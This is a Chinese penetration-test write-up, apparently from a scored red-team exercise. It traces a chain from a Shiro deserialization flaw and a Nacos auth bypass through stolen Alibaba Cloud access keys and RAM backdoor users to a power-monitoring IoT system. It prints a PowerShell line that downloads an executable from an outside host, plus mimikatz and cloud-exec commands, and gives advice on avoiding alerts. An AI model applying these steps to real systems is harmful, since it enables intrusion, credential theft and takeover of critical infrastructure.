0x01 外网打点,但在云上
目标单位就给出了一个子域名和一个IP,访问给出的子域名就一个登录框,测试了下忘记密码处有用户名枚举,但登录功能做了登录失败处理,知道用户名也无法进行爆破。
登录时会调用api.target.com域名下的接口,对api.target.com进行目录扫描,也仅发现接口文档泄漏,价值不大。
于是转向信息收集去找找其他子域名,通过fofa或者oneforall可以找到很多的子域名,当时也没有一个一个去测,也忘记了当时是怎么一下子就找到了有大洞的子域名vuln.target.com的。
访问该域名也是一个登录框,不过看界面似曾相识,感觉会存在shiro反序列化漏洞,于是Burp挂上shiro的扫描插件,输个admin/123456,果不其然,登录时调用的service.target.com域名下的接口探测到了shiro:
看看能不能爆破出密匙:
summerSec的shiroattack直接干:
www权限,很低,无法注入内存马,于是先反弹shell,尝试提权,但试过使用脚本扫描出来的脏牛,cve-2021-4034都失败了。转换思路,提不了权就不提了,直接上代理打内网。于是frp搭建socks5代理,进入内网,1000分到手。同时,也查了下该服务器的外网IP,是一台阿里云服务器,内核提权用不了也就不奇怪了。
0x02 从OSS到接管云控制台
进入内网,首先上内网扫描神器fscan无脑扫一波,扫出的东西比较少,就扫到了一些web端口,价值不太大的接口文档的未授权访问,docker-api未授权访问,我的关注点首先在这个洞上面:
poc-yaml-alibaba-nacos-v1-auth-bypass
思路是通过nacos的权限认证绕过漏洞进去后查看配置文件,在云环境下,应该会有一些价值大的东西。
1.Nacos权限认证绕过
这个漏洞的利用需要抓包修改UA头并在POST请求的body中发送要添加的用户名和密码。
遇到的问题是如何让数据包先经过本地的burp再通过代理发送给目标内网呢?
试过了在burp中配置代理和在proxifier中配置代理链两种方法,但当我挂上burp后都无法访问到目标的内网了。于是,我使用了渗透版火狐的hackbar来完成漏洞的利用:
2.查看Nacos配置,查找有价值信息
果不其然,进去后看到好几个配置文件,体力活,逐一翻阅。
找到了RabbitMq的账号密码,redis的密码,sqlserver数据库的密码。结合fscan扫描出来的端口信息作对比,通过代理都能够成功登录。
价值比较大的是找到了一对阿里云的AK和SK。
接下来,云上内网的渗透才正式开始,这里不得不提一下 teamssix师傅写的云环境利用框架cf了。
项目地址:GitHub - teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便安全人员在获得 AK 的后续工作
操作手册:CF 云环境利用框架使用手册 | T Wiki
3.OSS资源中的信息收集
将获取到的AK和SK配置到cf中,查看权限为仅能列出和下载OSS资源,庆幸的是OSS中的东西倒是挺多的。各个Bucket的数据量加起来有三十个G左右,通过Bucket的命名也能大致知道各个Bucket大概存储的是什么东西了。
由于总数据量太大,这里的信息收集是根据Bucket的名字和Bucket数据量大小来综合判断其可能包含的信息及价值性。
比如有个bucket叫target-database,600多兆,下载下来是一个.bak文件,应该是数据库备份;有个bucket叫target-cdn,差不多4G,存储的应该是cdn的一些静态资源,价值应该不大,没下载;有个bucket叫target-model,差不多25G,知道该公司是做电力相关的,里面应该是一些电力相关的图纸或3D模型之类的吧?这个也没下载。
这里直接说结果吧,有个存储桶叫target-cloud,40M,在里面找到一个配置文件,有另一对阿里云AK和SK。
不得不说,有了思路之后,信息收集就完全是个体力活了,此处从OSS资源中信息收集的思路来自于teamssix师傅的这篇文章:我用 CF 打穿了他的云上内网 - 火线 Zone-安全攻防社区
4.接管云控制台
将从OSS中获取到的AK和SK配置到cf中,查看权限:
爽歪歪,列出ecs有十来台,看名称,都是业务服务器,该公司应该是把业务都放到了云上。其中一台是winserver 2022,其余都是Linux。cf中执行
cf alibaba ecs exec -b
获取到的都是最高权限。
接下来创建了一个RAM后门用户接管控制台:
接管控制台后,看到有RDS,是个mysql数据库,首先想到的是找账号密码,但经过一番操作在Linux的ecs实例上未能找到。
后面才突然醒悟,脑子瓦特了,OSS中不是有一个数据库备份文件嘛,于是,在本地的mysql数据库中导入该备份文件,果然看到了一些用户信息。心想,外网打点进入内网,拿下十来台云服务器,成功登录一些应用、数据库,查看到用户信息,分数应该差不多满了吧。但只给了1600分,云服务器20分一台,服务器权限和服务器上的应用、数据库是不叠加给分的,按最高者给分。云服务器那么贵,一台才20分(衰),太难了。。。
0x03 发现另一个云内网
重新整理思路后,我把目光转向了内网的那台winserver 2022。由于是云服务器于是我先到控制台中的云市场看了历史订单确认没有买安全服务,大概是目标单位买云服务器已经花了很多钱,没预算买安全服务了(狗头)
测试了下这台windows虽然没外网IP,但是出网的,想着上传一些工具去抓取浏览器中的密码,但使用常用的certuti
和bitsadmin
提示拒绝访问,应该是被禁止使用了,于是使用powershell,可以成功下载:
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip:port/pwdump8.exe','c:/pwdump8.exe')
但运行发现被杀了,立马tasklist /svc
查看,有windowsDefender!!!
网上搜索了一波,命令行下如何关闭windowsDefender,但给的方法都是要修改注册表,重启生效。方法太鸡肋。自己又太菜,无法免杀过windowsDefender。
转换了下思路,直接命令行查找吧,于是首先查看桌面有啥东西没,居然有个Aliyun.txt!!!我一查看,我滴乖乖,里面写了两对AK和SK!!!其中一对,是我从OSS中获取到的AK和SK。我把另一对配置进cf,查看权限,也是具有管理员权限的:
仅有几台ecs,一台是winserver 2008,具有外网IP,其余都是Linux,都只有内网IP。同样创建了一个RAM后门用户接管云控制台,查看了云市场没有买安全服务,tasklist /svc
查看只有阿里云盾,且两个云内网之间不通,我有预感,快要打穿了。
0x04 从云内网到IOT,打穿
没安全服务,没杀软,这不得随便干?于是从vps上下载frp,fscan。fscan无脑扫只扫到了一些web端口,没啥漏洞。
又切换思路,直接用mimikatz抓取winserver 2008明文密码,通过代理或控制台进行远程登陆,搜集信息。
我在cf中执行的抓取密码命令是:
cf alibaba ecs -i 实例ID exec -c "c:&&cd c:\&&mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords full' exit > c:\pass.txt"
执行完后通过type命令查看等了好久都没有结果返回,猜测可能是是单双引号的问题,mimikatz抓取密码的原命令是:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit > c:\pass.txt
这里因为cf的-c 参数内容需要用双引号包裹,我就把原命令的双引号改成了单引号,自己本地测试,确实是因为这个问题:
于是,我使用pwdump8先获取hash,再利用pth攻击获取到反弹回来的winserver 2008的shell,再执行mimikatz命令抓取密码,果然可行,获取到了winserver 2008的明文密码。
最后,通过控制台去登录,获取到的东西可不少,谷歌浏览器中存储着一些应用系统、阿里云平台的登录账号密码(当然有短信验证,未能登录),Xshell连接着几台远程的服务器,SqlServer数据库直接获取,表名还有iot字样,通过桌面的向日葵成功远程到了电力监测系统,物联网访问即控制,不解释,该单位已被打穿,3000满分到手!!!
0x05 经验与总结
1.信息收集和思路的转变很重要,有了思路,信息收集似乎是个体力活。
2.云服务器别反弹shell,必然会报警,通过cf来执行命令就行;通过云控制台进行远程登陆,应该不会产生报警;fscan在云内网中无脑扫尚不清楚会不会触发报警。
3.在一个内网中,如果有多台Linux和少量winserver,直接对winserver进行信息收集价值可能会更大,原因是由于习惯问题,图形化的windows更方便用来管理资产吧~
4.梳理下攻击过程:
外网shiro反序列化漏洞-->内网Nacos权限认证绕过-->从Nacos配置文件中获取到OSS权限的AK和SK-->OSS资源的信息收集获取到具有管理员权限的AK和SK-->Winserver 2022信息收集获取另一对具有管理员权限的AK和SK-->抓取winserver 2008的明文密码进行登录-->访问到iot,打穿
5.云渗透需要结合云服务自身的特点以及传统安全的渗透手法,云渗透我也是第一次接触,还有很多东西需要补,这次是靠着T师傅写的cf打穿云内网,运气也算是好。